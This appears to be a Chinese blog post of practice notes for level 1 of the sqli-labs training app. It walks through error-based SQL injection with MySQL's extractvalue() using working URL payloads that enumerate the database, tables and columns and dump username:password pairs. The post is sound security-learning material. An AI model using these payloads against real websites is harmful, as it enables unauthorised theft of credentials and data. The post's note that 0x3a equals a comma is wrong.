• sqlilabs第一关报错注入练习


    # extractvalue 报错注入查询语句:

    SQL注入模板:?id=正确值'and(select extractvalue(anything,concat('0x7e',(select语句))))--+

    查数据库名:?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+

    爆表名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+

    爆字段名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) --+

    爆数据:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+

    # 注:
    与第一种方法不同的是:报错注入使用的 id = 正确值

    函数解释:
      extractvalue():从目标XML中返回包含所查询值的字符串。
      EXTRACTVALUE (XML_document, XPath_string);
      第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
      第二个参数:XPath_string (Xpath格式的字符串)
      concat:返回结果为连接参数产生的字符串。

    0x7e = ~ :加个波浪线,看着更加舒服。

    # 检查一下报错注入点:
    ?id=1' and 1=1--+ //正确
    ?id=1' and 1=2--+ //失败

     

    # 构造 payload 来获取数据库信息:

    ?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+

    # 构造 payload 来获取数据表

    ?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+

    ?id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))--+   通过当前指定的库查看表名

    # 构造 payload 来获取数据库字段名:

    ?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users")))) --+

    # 回显了,但是并没有完全回显使用 not in:重新构造 payload

    and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')

    ?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') )))) --+

     

    # 构造 payload 来获取数据库中的数据信息:

    ?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+

    ?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) --+

    # 回显了,但是没有完全回显,使用 not in 重构 payload :
    where username not in ('Dumb','I-kill-you')

    ?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))) --+

    # 注:
    0x3a = ,

  • 相关阅读:
    python os 用法(转)
    caffe for python
    day20-Python运维开发基础(装饰器 / 类中的方法 / 类的方法变属性)
    day19-Python运维开发基础(类的魔术方法)
    day18-Python运维开发基础(单继承 / 多继承 / 菱形继承、类的多态)
    day17-Python运维开发基础(类的封装 / 对象和类的相关操作、构造方法)
    day16-Python运维开发基础(os / os.path / shutil模块)
    Linux 创建网卡子接口
    day15-Python运维开发基础(json序列化模块、random / time / zipfile / OS模块函数)
    day14-Python运维开发基础(内置函数、pickle序列化模块、math数学模块)
  • 原文地址:https://www.cnblogs.com/linyu51/p/16590897.html
Copyright © 2020-2023  润新知